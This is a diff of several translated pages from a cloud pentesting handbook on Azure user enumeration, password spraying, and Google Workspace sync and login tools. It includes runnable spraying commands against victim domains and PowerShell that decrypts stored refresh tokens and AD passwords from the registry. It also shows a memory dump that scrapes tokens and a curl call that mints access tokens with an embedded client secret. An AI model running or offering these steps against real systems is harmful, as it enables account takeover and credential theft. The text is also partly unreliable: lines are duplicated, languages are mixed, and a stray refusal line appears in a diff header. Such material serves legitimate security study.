テナントの名前、ID、および「ブランド」名に関する詳細を観察することが可能です。さらに、デスクトップシングルサインオンSSO、別名[**シームレスSSO**](https://docs.microsoft.com/en-us/azure/active-directory/hybrid/how-to-connect-sso)のステータス表示されます。この機能が有効になっている場合、ターゲット組織内の特定のユーザーの存在(列挙)を判断するのが容易になります。
テナントの名前、ID、および「ブランド」名に関する詳細を観察することが可能です。さらに、デスクトップシングルサインオンSSO、別名[**シームレスSSO**](https://docs.microsoft.com/en-us/azure/active-directory/hybrid/how-to-connect-sso)のステータス表示されます。この機能が有効になっている場合、ターゲット組織内の特定のユーザーの存在(列挙)を判断するのが容易になります。
さらに、出力にはターゲットテナントに関連付けられたすべての検証済みドメインの名前と、それぞれのアイデンティティタイプが表示されます。フェデレーテッドドメインの場合、使用中のアイデンティティプロバイダーの完全修飾ドメイン名FQDN、通常はADFSサーバー開示されます。「MX」列は、メールがExchange Onlineにルーティングされるかどうかを指定し、「SPF」列はExchange Onlineがメール送信者としてリストされていることを示します。現在の偵察機能はSPFレコード内の「include」ステートメントを解析しないため、偽陰性が発生する可能性があることに注意が必要です。
さらに、出力にはターゲットテナントに関連付けられたすべての検証済みドメインの名前と、それぞれのアイデンティティタイプが表示されます。フェデレーテッドドメインの場合、使用中のアイデンティティプロバイダーの完全修飾ドメイン名FQDN、通常はADFSサーバー開示されます。「MX」列は、メールがExchange Onlineにルーティングされるかどうかを指定し、「SPF」列はExchange Onlineがメール送信者としてリストされていることを示します。現在の偵察機能はSPFレコード内の「include」ステートメントを解析しないため、偽陰性が発生する可能性があることに注意が必要です。
### ユーザー列挙
@@ -47,7 +47,7 @@ int.company.com False False False Managed
メールアドレスは、ユーザーのメールアドレスで、「@」がアンダースコア「\_」に置き換えられています。
[**AADInternals**](https://github.com/Gerenios/AADInternals)を使用すると、ユーザーが存在するかどうかを簡単に確認できます:
```powershell
```bash
# Check does the user exist
Invoke-AADIntUserEnumerationAsOutsider -UserName "user@company.com"
```
@@ -67,24 +67,24 @@ external.user_gmail.com#EXT#@company.onmicrosoft.com
external.user_outlook.com#EXT#@company.onmicrosoft.com
```
```powershell
```bash
# Invoke user enumeration
Get-Content .\users.txt | Invoke-AADIntUserEnumerationAsOutsider -Method Normal
```
異なる列挙方法が**3つ**あります:
| 方法 | 説明 |
| --------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| Normal | これは上記で言及されたGetCredentialType APIを指します。デフォルトの方法です。 |
| Login | <p>この方法はユーザーとしてログインしようとします。<br><strong>注意:</strong>クエリはサインインログに記録されます。</p> |
| 方法 | 説明 |
| --------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| Normal | これは上記で言及されたGetCredentialType APIを指します。デフォルトの方法です。 |
| Login | <p>この方法はユーザーとしてログインしようとします。<br><strong>注意:</strong>クエリはサインインログに記録されます。</p> |
| Autologon | <p>この方法はオートログオンエンドポイントを介してユーザーとしてログインしようとします。<br><strong>クエリはサインインログに記録されません</strong>!そのため、パスワードスプレーやブルートフォース攻撃にも適しています。</p> |
有効なユーザー名を発見した後、次の方法で**ユーザーに関する情報**を取得できます:
```powershell
```bash
Get-AADIntLoginInformation -UserName root@corp.onmicrosoft.com
```
スクリプト [**o365creeper**](https://github.com/LMGsec/o365creeper) は、**メールが有効かどうかを確認する**ことも可能です。
```powershell
```bash
# Put in emails.txt emails such as:
# - root@corp.onmicrosoft.com
python.exe .\o365creeper\o365creeper.py -f .\emails.txt -o validemails.txt
@@ -107,7 +107,7 @@ I'm sorry, but I cannot provide the content you requested.
[+] user2@domain - User2 | Company (Away, Mobile)
[+] user3@domain - User3 | Company (Available, Desktop)
```
さらに、次のような既存ユーザー可用性情報を列挙することが可能です:
さらに、次のような既存ユーザーに関する可用性情報を列挙することが可能です:
- 利用可能
- 不在
@@ -173,14 +173,14 @@ I'm sorry, but I cannot provide the content you requested.
**Azureテナント**が使用している**ドメイン**がわかったので、**公開されているAzureサービス**を見つけるために試してみましょう。
この目的のために、[**MicroBust**](https://github.com/NetSPI/MicroBurst)のメソッドを使用できます。この関数は、いくつかの**Azureサービスドメイン**でベースドメイン名(およびいくつかの変種)を検索します。
```powershell
```bash
Import-Module .\MicroBurst\MicroBurst.psm1 -Verbose
Invoke-EnumerateAzureSubDomains -Base corp -Verbose
```
## オープンストレージ
オープンストレージを発見するには、[**InvokeEnumerateAzureBlobs.ps1**](https://github.com/NetSPI/MicroBurst/blob/master/Misc/Invoke-EnumerateAzureBlobs.ps1)のようなツールを使用できます。このツールは、ファイル**`Microburst/Misc/permitations.txt`**を使用して、オープンストレージアカウントを**見つける**ための非常にシンプルな順列を生成します。
```powershell
You could discover open storage with a tool such as [**InvokeEnumerateAzureBlobs.ps1**](https://github.com/NetSPI/MicroBurst/blob/master/Misc/Invoke-EnumerateAzureBlobs.ps1) which will use the file **`Microburst/Misc/permitations.txt`** to generate permutations (very simple) to try to **find open storage accounts**.
```bash
Import-Module .\MicroBurst\MicroBurst.psm1
Invoke-EnumerateAzureBlobs -Base corp
[...]
@@ -197,22 +197,22 @@ _**共有アクセス署名**_ (SAS) URLは、特定のストレージアカウ
`https://<storage_account_name>.blob.core.windows.net/newcontainer?sp=r&st=2021-09-26T18:15:21Z&se=2021-10-27T02:14:21Z&spr=https&sv=2021-07-08&sr=c&sig=7S%2BZySOgy4aA3Dk0V1cJyTSIf1cW%2Fu3WFkhHV32%2B4PE%3D`
[**Storage Explorer**](https://azure.microsoft.com/en-us/features/storage-explorer/)を使用してデータにアクセスします
[**ストレージエクスプローラー**](https://azure.microsoft.com/en-us/features/storage-explorer/)を使用してデータにアクセスします
## Compromise Credentials
## 認証情報の侵害
### Phishing
### フィッシング
- [**一般的なフィッシング**](https://book.hacktricks.wiki/en/generic-methodologies-and-resources/phishing-methodology/index.html)資格情報またはOAuthアプリ -[不正同意付与攻撃](az-oauth-apps-phishing.md)-
- [**一般的なフィッシング**](https://book.hacktricks.wiki/en/generic-methodologies-and-resources/phishing-methodology/index.html)認証情報またはOAuthアプリ -[不正同意付与攻撃](az-oauth-apps-phishing.md)-
- [**デバイスコード認証** フィッシング](az-device-code-authentication-phishing.md)
### Password Spraying / Brute-Force
### パスワードスプレー / ブルートフォース
{{#ref}}
az-password-spraying.md
{{#endref}}
## References
## 参考文献
- [https://aadinternals.com/post/just-looking/](https://aadinternals.com/post/just-looking/)
- [https://www.securesystems.de/blog/a-fresh-look-at-user-enumeration-in-microsoft-teams/](https://www.securesystems.de/blog/a-fresh-look-at-user-enumeration-in-microsoft-teams/)

View File

@@ -1,24 +1,24 @@
# Az - パスワードスプレー
# Az - Password Spraying
{{#include ../../../banners/hacktricks-training.md}}
## パスワードスプレー
## Password Spray
**Azure** では、Azure AD Graph、Microsoft Graph、Office 365 Reporting webservice などの **異なる API エンドポイント** に対してこれを行うことができます。
**Azure**では、Azure AD Graph、Microsoft Graph、Office 365 Reporting webserviceなどの**異なるAPIエンドポイント**に対してこれを行できます。
ただし、この技術は **非常に騒がしい** ため、Blue Team**簡単に検出できます**。さらに、**強制パスワードの複雑さ****MFA** の使用により、この技術はほとんど無意味になる可能性があります。
ただし、この技術は**非常に騒がしい**ため、Blue Team**簡単に検出できます**。さらに、**強制パスワードの複雑さ****MFA**の使用により、この技術はほとんど無意味になる可能性があります。
[**MSOLSpray**](https://github.com/dafthack/MSOLSpray) を使用してパスワードスプレー攻撃を実行できます。
```powershell
[**MSOLSpray**](https://github.com/dafthack/MSOLSpray)を使用してパスワードスプレー攻撃を実行できます。
```bash
. .\MSOLSpray\MSOLSpray.ps1
Invoke-MSOLSpray -UserList .\validemails.txt -Password Welcome2022! -Verbose
```
または [**o365spray**](https://github.com/0xZDH/o365spray) を使用して
Or with [**o365spray**](https://github.com/0xZDH/o365spray)
```bash
python3 o365spray.py --spray -U validemails.txt -p 'Welcome2022!' --count 1 --lockout 1 --domain victim.com
```
または [**MailSniper**](https://github.com/dafthack/MailSniper) を使用して
```powershell
Or with [**MailSniper**](https://github.com/dafthack/MailSniper)
```bash
#OWA
Invoke-PasswordSprayOWA -ExchHostname mail.domain.com -UserList .\userlist.txt -Password Spring2021 -Threads 15 -OutFile owa-sprayed-creds.txt
#EWS

View File

@@ -1,4 +1,4 @@
# Pentesting Cloud Methodology
# クラウドペンテスティングの方法論
{{#include ../banners/hacktricks-training.md}}
@@ -10,26 +10,26 @@
- **ベンチマークチェック**
- これにより、**環境の規模**や**使用されているサービス**を理解するのに役立ちます。
- また、**自動化ツール**を使用してほとんどのテストを実行できるため、いくつかの**迅速な誤設定**を見つけることもできます。
- ほとんどのテストを**自動化ツール**実行できるため、いくつかの**迅速な誤設定**を見つけることも可能です。
- **サービスの列挙**
- ベンチマークテストを正しく実施していれば、ここでさらに多くの誤設定を見つけることはないでしょうが、ベンチマークテストで見落とされていたもの見つるかもしれません。
- ベンチマークテストを正しく実施していれば、ここでの誤設定はあまり見つからないでしょうが、ベンチマークテストで見落とされていたもの見つるかもしれません。
- これにより、クラウド環境で**何が正確に使用されているか**を知ることができます。
- 次のステップ大いに役立ちます。
- 次のステップ大いに役立ちます。
- **公開されている資産の確認**
- これは前のセクションで行うことができ、**インターネットに対して潜在的に公開されているすべてのもの**を見つけ出し、どのようにアクセスできるかを確認する必要があります。
- ここでは、**手動で公開されたインフラ**(ウェブページを持つインスタンスや他のポートが公開されているもの)や、**公開されるように設定できる他のクラウド管理サービス**DBやバケットなどについて取り上げています。
- これは前のセクションで行うことができ、**インターネットに潜在的に公開されているすべてのもの**を見つけ出し、どのようにアクセスできるかを確認する必要があります。
- ここでは、**手動で公開されたインフラストラクチャ**(ウェブページを持つインスタンスや他のポートが公開されているもの)や、**公開されるように設定できる他のクラウド管理サービス**DBやバケットなどについて取り上げています。
- 次に、そのリソースが**公開可能かどうか**を確認する必要があります(機密情報?脆弱性?公開されたサービスの誤設定?)。
- **権限の確認**
- ここでは、クラウド内の各ロール/ユーザーの**すべての権限を把握**、それがどのように使用されているかを確認する必要があります。
- **特権の高い**(すべてを制御する)アカウントが多すぎる?使用されていない生成されたキー... これらのチェックのほとんどはすでにベンチマークテストで行われているはずです。
- ここでは、クラウド内の各ロール/ユーザーの**すべての権限を把握**、それがどのように使用されているかを確認する必要があります。
- **特権の高い**(すべてを制御する)アカウントが多すぎる?生成されたキーが使用されていない?... これらのチェックのほとんどはすでにベンチマークテストで行われているはずです。
- クライアントがOpenIDやSAML、その他の**フェデレーション**を使用している場合、**各ロールがどのように割り当てられているか**についてさらに**情報**を求める必要があります管理者ロールが1人のユーザーに割り当てられているのと100人に割り当てられているのは同じではありません
- **管理者**権限を持つユーザーを見つけるだけでは**不十分**です "\*:\*"。使用されるサービスによっては、非常に**敏感な**他の**権限**がたくさんあります。
- さらに、権限を悪用する**潜在的な特権昇格**の方法があります。これらすべてのことを考慮に入れ、**できるだけ多くの特権昇格パス**報告する必要があります。
- **管理者**権限 "\*:\*" を持つユーザーを見つけるだけでは**不十分**です。使用されるサービスによっては、非常に**敏感**な**他の権限**がたくさんあります。
- さらに、権限を悪用する**潜在的な特権昇格**の方法があります。これらすべてのことを考慮、**できるだけ多くの特権昇格パス**報告する必要があります。
- **統合の確認**
- **他のクラウドやSaaSとの統合**がクラウド環境内で使用されている可能性が非常に高いです。
- **監査しているクラウドの統合**については、その統合を**(悪用)するアクセス権を持つ**を通知し、実行されているアクションが**どれほど敏感**であるかを尋ねる必要があります。\
- **監査しているクラウドの統合**については、**その統合を(悪用)するアクセス権を持つのは誰か**を通知し、実行されているアクションが**どれほど敏感**であるかを尋ねる必要があります。\
例えば、GCPがデータを取得しているAWSバケットに書き込むことができるのは誰かGCPでそのデータを扱う際のアクションの敏感さを尋ねる
- **監査しているクラウド内の統合**については、外部プラットフォームから**(悪用)するアクセス権を持つ**を尋ね、そのデータがどのように使用されているかを確認する必要があります。\
- **監査しているクラウド内の統合**については、外部プラットフォームから**その統合を(悪用)するための外部アクセス権を持つのは誰か**を尋ね、データがどのように使用されているかを確認する必要があります。\
例えば、サービスがGCRにホストされているDockerイメージを使用している場合、そのイメージを修正するアクセス権を持つのは誰か、AWSクラウド内で実行されたときにそのイメージがどのような機密情報やアクセスを取得するかを尋ねる必要があります。
## マルチクラウドツール
@@ -146,7 +146,7 @@ done
{{#tabs }}
{{#tab name="Install" }}
Steampipeをダウンロードしてインストールします ([https://steampipe.io/downloads](https://steampipe.io/downloads))。または、Brewを使用します
Steampipeをダウンロードしてインストールします ([https://steampipe.io/downloads](https://steampipe.io/downloads))。または、Brewを使用します:
```
brew tap turbot/tap
brew install steampipe
@@ -238,7 +238,7 @@ python2.7が必要で、メンテナンスされていないようです。
### Nessus
Nessusには、AWS、Azure、Office 365、Rackspace、Salesforceをサポートする_**Audit Cloud Infrastructure**_スキャンがあります。**Azure**で**Client Id**を取得するために追加設定が必要です。
Nessusには、AWS、Azure、Office 365、Rackspace、Salesforceをサポートする_**Audit Cloud Infrastructure**_スキャンがあります。**Azure**で**Client Id**を取得するために、いくつかの追加設定が必要です。
### [**cloudlist**](https://github.com/projectdiscovery/cloudlist)
@@ -265,7 +265,7 @@ cloudlist -config </path/to/config>
### [**cartography**](https://github.com/lyft/cartography)
Cartographyは、インフラストラクチャ資産とそれらの関係を、Neo4jデータベースによって強化された直感的なグラフビューで統合するPythonツールです。
Cartographyは、インフラストラクチャ資産とそれらの関係を直感的なグラフビューで統合するPythonツールで、Neo4jデータベースによって支えられています。
{{#tabs }}
{{#tab name="Install" }}
@@ -302,7 +302,7 @@ ghcr.io/lyft/cartography \
### [**starbase**](https://github.com/JupiterOne/starbase)
Starbaseは、クラウドインフラストラクチャ、SaaSアプリケーション、セキュリティコントロールなどのサービスやシステムから資産と関係を収集し、Neo4jデータベースに基づいた直感的なグラフビューにまとめます。
Starbaseは、クラウドインフラストラクチャ、SaaSアプリケーション、セキュリティコントロールなどのサービスやシステムから資産と関係を収集し、Neo4jデータベースに基づいた直感的なグラフビューに表示します。
{{#tabs }}
{{#tab name="Install" }}
@@ -361,8 +361,8 @@ uri: bolt://localhost:7687
### [**SkyArk**](https://github.com/cyberark/SkyArk)
スキャンされたAWSまたはAzure環境で最も特権のあるユーザーを発見します。これにはAWS Shadow Adminsが含まれます。PowerShellを使用します。
```powershell
スキャンされたAWSまたはAzure環境で最も特権のあるユーザーを発見します。これにはAWSシャドウ管理者が含まれます。PowerShellを使用します。
```bash
Import-Module .\SkyArk.ps1 -force
Start-AzureStealth
@@ -380,7 +380,7 @@ Scan-AzureAdmins
- 手動のpentestingを補完することを目的とした列挙ツールです。
- クラウド環境内のデータを作成または変更することはありません。
### クラウドセキュリティツールのリスト
### クラウドセキュリティツールのさらなるリスト
- [https://github.com/RyanJarv/awesome-cloud-sec](https://github.com/RyanJarv/awesome-cloud-sec)
@@ -410,12 +410,12 @@ aws-security/
azure-security/
{{#endref}}
### 攻撃グラフ
### Attack Graph
[**Stormspotter** ](https://github.com/Azure/Stormspotter)は、Azureサブスクリプション内のリソースの「攻撃グラフ」を作成します。これにより、レッドチームやpentesterはテナント内の攻撃面とピボットの機会を視覚化でき、ディフェンダーはインシデント対応作業を迅速に方向付け、優先順位を付けることができます。
### Office365
**Global Admin**または少なくとも**Global Admin Reader**が必要ですただし、Global Admin Readerには少し制限があります。ただし、これらの制限は一部のPSモジュールに現れ、**ウェブアプリケーションを介して**機能にアクセスすることで回避できます。
**Global Admin**または少なくとも**Global Admin Reader**が必要ですただし、Global Admin Readerには少し制限があります。ただし、これらの制限は一部のPSモジュールに現れ、**ウェブアプリケーション経由で**機能にアクセスすることで回避できます。
{{#include ../banners/hacktricks-training.md}}

View File

@@ -6,21 +6,21 @@
これは、**アクティブディレクトリのユーザーとグループをWorkspaceに同期するために使用できるツール**です(執筆時点ではその逆はできません)。
これは、**Workspaceのスーパーユーザーと特権のあるADユーザーの資格情報**を必要とするツールであるため、時折ユーザーを同期しているドメインサーバー内で見つけることができるかもしれません。
これは、**Workspaceのスーパーユーザーと特権のあるADユーザーの資格情報**を必要とするツールであるため、興味深いです。したがって、時折ユーザーを同期しているドメインサーバー内で見つけることができるかもしれません。
> [!NOTE]
> **`config-manager.exe`**バイナリに対して**MitM**を実行するには、`config.manager.vmoptions`ファイルに次の行を追加してください: **`-Dcom.sun.net.ssl.checkRevocation=false`**
> [!TIP]
> [**Winpeas**](https://github.com/peass-ng/PEASS-ng/tree/master/winPEAS/winPEASexe)は**GCDS**を検出し、構成に関する情報を取得し、**パスワードや暗号化された資格情報**さえも取得できることに注意してください。
> [**Winpeas**](https://github.com/peass-ng/PEASS-ng/tree/master/winPEAS/winPEASexe)は**GCDS**を検出し、構成に関する情報を取得し、**パスワードや暗号化された資格情報**さえも取得できることに注意してください。
また、GCDSはADからWorkspaceにパスワードを同期しないことにも注意してください。何かあれば、Workspaceで新しく作成されたユーザーのためにランダムなパスワードを生成するだけです。以下の画像ように:
また、GCDSはADからWorkspaceにパスワードを同期しないことにも注意してください。何かあれば、Workspaceで新しく作成されたユーザーのためにランダムなパスワードを生成するだけです。以下の画像に示すように:
<figure><img src="../../../images/telegram-cloud-photo-size-4-5780773316536156543-x.jpg" alt="" width="515"><figcaption></figcaption></figure>
### GCDS - ディスクトークンとAD資格情報
バイナリ`config-manager.exe`GUIを持つ主要なGCDSバイナリは、構成されたアクティブディレクトリの資格情報、リフレッシュトークン、およびアクセスをデフォルトで**xmlファイル**に**`C:\Program Files\Google Cloud Directory Sync`**フォルダー内の**`Untitled-1.xml`**というファイルに保存します。ただし、ユーザーの`Documents`や**他の任意のフォルダー**に保存される可能性もあります。
バイナリ`config-manager.exe`GUIを持つ主要なGCDSバイナリは、構成されたアクティブディレクトリの資格情報、リフレッシュトークン、およびアクセスをデフォルトで**xmlファイル**に保存します。保存先は**`C:\Program Files\Google Cloud Directory Sync`**フォルダー内の**`Untitled-1.xml`**というファイルです。ユーザーの`Documents`や**他の任意のフォルダー**に保存されることもあります。
さらに、レジストリ**`HKCU\SOFTWARE\JavaSoft\Prefs\com\google\usersyncapp\ui`**内のキー**`open.recent`**には、最近開かれたすべての構成ファイルxmlのパスが含まれています。したがって、**それを確認して見つけることが可能です**。
@@ -49,12 +49,12 @@
<authCredentialsEncrypted>XMmsPMGxz7nkpChpC7h2ag==</authCredentialsEncrypted>
[...]
```
**リフレッシュ** **トークン**とユーザーの**パスワード**が、ランダムに生成されたキーとIVを使用して**AES CBC**で**暗号化**されていることに注意してください。これらは**`HKEY_CURRENT_USER\SOFTWARE\JavaSoft\Prefs\com\google\usersyncapp\util`**に保存されています**`prefs`** Javaライブラリが設定を保存する場所文字列キー**`/Encryption/Policy/V2.iv`**と**`/Encryption/Policy/V2.key`**にbase64形式で保存されています。
**リフレッシュ** **トークン**とユーザーの**パスワード**が、ランダムに生成されたキーとIVを使用して**AES CBC**で**暗号化**されていることに注意してください。これらは**`HKEY_CURRENT_USER\SOFTWARE\JavaSoft\Prefs\com\google\usersyncapp\util`**に保存されており**`prefs`** Javaライブラリが設定を保存する場所文字列キー**`/Encryption/Policy/V2.iv`**と**`/Encryption/Policy/V2.key`**にbase64形式で保存されています。
<details>
<summary>リフレッシュトークンとパスワードを復号化するためのPowershellスクリプト</summary>
```powershell
```bash
# Paths and key names
$xmlConfigPath = "C:\Users\c\Documents\conf.xml"
$regPath = "SOFTWARE\JavaSoft\Prefs\com\google\usersyncapp\util"
@@ -152,7 +152,7 @@ Write-Host "Decrypted Password: $decryptedPassword"
> [!NOTE]
> この情報は、**`C:\Program Files\Google Cloud Directory Sync`** の **`DirSync.jar`** のJavaコードを確認し、`exportkeys`という文字列を検索することで確認できることに注意してください(これはバイナリ `upgrade-config.exe` がキーをダンプするために期待するCLIパラメータです
PowerShellスクリプトを使用する代わりに、バイナリ **`:\Program Files\Google Cloud Directory Sync\upgrade-config.exe`** を `-exportKeys` パラメータ使用し、レジストリから **Key****IV** を16進数で取得し、その後、AES/CBCとそのキーとIVを使用して情報を復号化することも可能です。
PowerShellスクリプトを使用する代わりに、バイナリ **`:\Program Files\Google Cloud Directory Sync\upgrade-config.exe`** を `-exportKeys` パラメータと共に使用し、レジストリから **Key****IV** を16進数で取得し、その後、AES/CBCとそのキーとIVを使用して情報を復号化することも可能です。
### GCDS - メモリからのトークンのダンプ
@@ -162,7 +162,7 @@ ADに設定された資格情報も見つけることができると思います
<details>
<summary>config-manager.exeプロセスをダンプしてトークンを検索する</summary>
```powershell
```bash
# Define paths for Procdump and Strings utilities
$procdumpPath = "C:\Users\carlos_hacktricks\Desktop\SysinternalsSuite\procdump.exe"
$stringsPath = "C:\Users\carlos_hacktricks\Desktop\SysinternalsSuite\strings.exe"
@@ -237,7 +237,7 @@ Remove-Item -Path $dumpFolder -Recurse -Force
### GCDS - リフレッシュトークンからアクセストークンを生成する
リフレッシュトークンを使用して、次のコマンドで指定されたクライアントIDとクライアントシークレットを使用してアクセストークンを生成することができます
リフレッシュトークンを使用して、次のコマンドで指定されたクライアントIDとクライアントシークレットを使用してアクセストークンを生成することができます:
```bash
curl -s --data "client_id=118556098869.apps.googleusercontent.com" \
--data "client_secret=Co-LoSjkPcQXD9EjJzWQcgpy" \
@@ -248,7 +248,7 @@ https://www.googleapis.com/oauth2/v4/token
### GCDS - スコープ
> [!NOTE]
> リフレッシュトークンを持っていても、アクセス トークンのためにスコープを要求することはできません。なぜなら、**アクセス トークンを生成しているアプリケーションでサポートされているスコープのみを要求できるからです**
> リフレッシュトークンを持っていても、アクセス トークンのためにスコープを要求することはできません。なぜなら、アクセス トークンを生成しているアプリケーションでサポートされている**スコープのみを要求できる**からです。
>
> また、リフレッシュトークンはすべてのアプリケーションで有効ではありません。
@@ -280,7 +280,7 @@ rm /tmp/valid_scopes.txt
```
</details>
そして、これが執筆時に得られた出力です
そして、これが執筆時に得られた出力です:
```
https://www.googleapis.com/auth/admin.directory.group
https://www.googleapis.com/auth/admin.directory.orgunit

View File

@@ -7,7 +7,7 @@
これは、Google Workspacesが提供するシングルサインオンで、ユーザーが**Workspaceの資格情報**を使用してWindows PCにログインできるようにします。さらに、これによりPCのいくつかの場所にGoogle Workspaceにアクセスするためのトークンが保存されます。
> [!TIP]
> [**Winpeas**](https://github.com/peass-ng/PEASS-ng/tree/master/winPEAS/winPEASexe)は**GCPW**を検出し、構成に関する情報を取得し、**トークン**さえ取得できることに注意してください。
> [**Winpeas**](https://github.com/peass-ng/PEASS-ng/tree/master/winPEAS/winPEASexe)は**GCPW**を検出し、構成に関する情報**トークン**さえ取得できることに注意してください。
### GCPW - MitM
@@ -27,20 +27,18 @@ scope=https://www.google.com/accounts/OAuthLogin
&device_id=d5c82f70-71ff-48e8-94db-312e64c7354f
&device_type=chrome
```
新しい行が追加されて、より読みやすくなっています。
> [!NOTE]
> `Proxifier`をPCにインストールし、`utilman.exe`バイナリを`cmd.exe`で上書きし、Windowsログインページで**アクセシビリティ機能**を実行することでMitMを実行することが可能でした。これにより**CMD**が実行され、**Proxifierを起動して構成する**ことができます。\
> `Proxifier`をPCにインストールし、`utilman.exe`バイナリを`cmd.exe`で上書きし、Windowsログインページで**アクセシビリティ機能**を実行することでMitMを実行することが可能でした。これにより**CMD**が実行され、**Proxifierを起動および構成**できます。\
> `Proxifier`でQUICK UDPトラフィックを**ブロック**することを忘れないでください。そうすることでTCP通信にダウングレードされ、見ることができます。
>
> また、「サービスおよび他のユーザー」で両方のオプションを設定し、WindowsにBurp CA証明書をインストールしてください。
> また、「サービスおよび他のユーザー」で両方のオプションを構成し、WindowsにBurp CA証明書をインストールしてください。
さらに、**`HKLM:\SOFTWARE\Google\GCPW`**に`enable_verbose_logging = 1``log_file_path = C:\Public\gcpw.log`のキーを追加することで、いくつかのログを保存することが可能です。
さらに、**`HKLM:\SOFTWARE\Google\GCPW`**に`enable_verbose_logging = 1`および`log_file_path = C:\Public\gcpw.log`のキーを追加することで、いくつかのログを保存することが可能です。
### GCPW - フィンガープリント
デバイスにGCPWがインストールされているかどうかを確認するには、次のプロセスが存在するか、次のレジストリキーが存在するかを確認します
```powershell
デバイスにGCPWがインストールされているかどうかを確認するには、次のプロセスが存在するか、次のレジストリキーが存在するかを確認します
```bash
# Check process gcpw_extension.exe
if (Get-Process -Name "gcpw_extension" -ErrorAction SilentlyContinue) {
Write-Output "The process gcpw_xtension.exe is running."
@@ -64,9 +62,9 @@ Write-Output "Google Accounts are present: The key $gcpwHKCUPath exists."
Write-Output "No Google Accounts found: The key $gcpwHKCUPath does not exist."
}
```
**`HKCU:\SOFTWARE\Google\Accounts`** では、ユーザーのメールアドレスと、ユーザーが最近ログインした場合の暗号化された **refresh token** にアクセスすることが可能です。
In **`HKCU:\SOFTWARE\Google\Accounts`** では、ユーザーのメールアドレスと、ユーザーが最近ログインした場合の暗号化された **refresh token** にアクセスすることが可能です。
**`HKLM:\SOFTWARE\Google\GCPW\Users`** では、`domains_allowed` キーにログインを許可された **domains** を見つけることができ、サブキーにはメールアドレス、写真、ユーザー名、トークンの有効期限、トークンハンドルなどのユーザーに関する情報が含まれています。
In **`HKLM:\SOFTWARE\Google\GCPW\Users`** では、`domains_allowed` キーにログインを許可された **domains** を見つけることができ、サブキーにはメール、画像、ユーザー名、トークンの有効期限、トークンハンドルなどのユーザーに関する情報が含まれています。
> [!NOTE]
> トークンハンドルは `eth.` で始まるトークンで、次のようなリクエストでいくつかの情報を抽出できます:
@@ -74,7 +72,7 @@ Write-Output "No Google Accounts found: The key $gcpwHKCUPath does not exist."
> ```bash
> curl -s 'https://www.googleapis.com/oauth2/v2/tokeninfo' \
> -d 'token_handle=eth.ALh9Bwhhy_aDaRGhv4v81xRNXdt8BDrWYrM2DBv-aZwPdt7U54gp-m_3lEXsweSyUAuN3J-9KqzbDgHBfFzYqVink340uYtWAwxsXZgqFKrRGzmXZcJNVapkUpLVsYZ_F87B5P_iUzTG-sffD4_kkd0SEwZ0hSSgKVuLT-2eCY67qVKxfGvnfmg'
> # 例の応答
> # Example response
> {
> "audience": "77185425430.apps.googleusercontent.com",
> "scope": "https://www.google.com/accounts/OAuthLogin",
@@ -87,7 +85,7 @@ Write-Output "No Google Accounts found: The key $gcpwHKCUPath does not exist."
> ```bash
> curl -s 'https://www.googleapis.com/oauth2/v2/tokeninfo' \
> -d 'access_token=<access token>'
> # 例の応答
> # Example response
> {
> "issued_to": "77185425430.apps.googleusercontent.com",
> "audience": "77185425430.apps.googleusercontent.com",
@@ -100,7 +98,7 @@ Write-Output "No Google Accounts found: The key $gcpwHKCUPath does not exist."
>
> 知る限り、トークンハンドルからリフレッシュトークンやアクセストークンを取得することはできません。
さらに、ファイル **`C:\ProgramData\Google\Credential Provider\Policies\<sid>\PolicyFetchResponse`** は、`enableDmEnrollment``enableGcpAutoUpdate``enableMultiUserLogin`複数のWorkspaceユーザーがコンピュータにログインできるかどうかや、`validityPeriodDays`ユーザーがGoogleに直接再認証する必要がない日数などの異なる **settings** の情報を含むJSONです。
さらに、ファイル **`C:\ProgramData\Google\Credential Provider\Policies\<sid>\PolicyFetchResponse`** は、`enableDmEnrollment``enableGcpAutoUpdate``enableMultiUserLogin`複数のWorkspaceユーザーがコンピュータにログインできるかどうかや、`validityPeriodDays`ユーザーがGoogleに直接再認証する必要がない日数などの異なる **settings** の情報を含むjsonです。
## GCPW - トークンの取得
@@ -110,8 +108,8 @@ Write-Output "No Google Accounts found: The key $gcpwHKCUPath does not exist."
<details>
<summary><strong><code>HKCU:\SOFTWARE\Google\Accounts</code></strong> のデータを取得し、refresh_tokensを復号化する</summary>
```powershell
<summary>Get <strong><code>HKCU:\SOFTWARE\Google\Accounts</code></strong> data and decrypt refresh_tokens</summary>
```bash
# Import required namespace for decryption
Add-Type -AssemblyName System.Security
@@ -165,7 +163,7 @@ Get-RegistryKeysAndDecryptTokens -keyPath $baseKey
```
Path: Microsoft.PowerShell.Core\Registry::HKEY_CURRENT_USER\SOFTWARE\Google\Accounts\100402336966965820570Decrypted refresh_token: 1//03gQU44mwVnU4CDHYE736TGMSNwF-L9IrTuikNFVZQ3sBxshrJaki7QvpHZQMeANHrF0eIPebz0dz0S987354AuSdX38LySlWflI
```
[**このビデオ**](https://www.youtube.com/watch?v=FEQxHRRP_5I)で説明されているように、レジストリにトークンが見つからない場合、**`HKLM:\SOFTWARE\Google\GCPW\Users\<sid>\th`**の値を変更(または削除)することが可能で、次回ユーザーがコンピュータにアクセスすると再度ログインが必要になり、**トークンは以前のレジストリに保存されます**。
[**この動画**](https://www.youtube.com/watch?v=FEQxHRRP_5I)で説明されているように、レジストリにトークンが見つからない場合、**`HKLM:\SOFTWARE\Google\GCPW\Users\<sid>\th`**の値を変更(または削除)することが可能で、次回ユーザーがコンピュータにアクセスすると再度ログインが必要になり、**トークンは以前のレジストリに保存されます**。
### GCPW - ディスクリフレッシュトークン
@@ -178,16 +176,16 @@ Path: Microsoft.PowerShell.Core\Registry::HKEY_CURRENT_USER\SOFTWARE\Google\Acco
さらに、暗号化はこのコードで見つけることができます:[https://github.com/chromium/chromium/blob/7b5e817cb016f946a29378d2d39576a4ca546605/components/os_crypt/sync/os_crypt_win.cc#L216](https://github.com/chromium/chromium/blob/7b5e817cb016f946a29378d2d39576a4ca546605/components/os_crypt/sync/os_crypt_win.cc#L216)
AESGCMが使用されていることが観察でき、暗号化されたトークンは**バージョン**(現時点では**`v10`**)で始まり、次に[**12Bのンス**](https://github.com/chromium/chromium/blob/7b5e817cb016f946a29378d2d39576a4ca546605/components/os_crypt/sync/os_crypt_win.cc#L42)があり、最後に**サイファーテキスト**と**16BのMAC**があります。
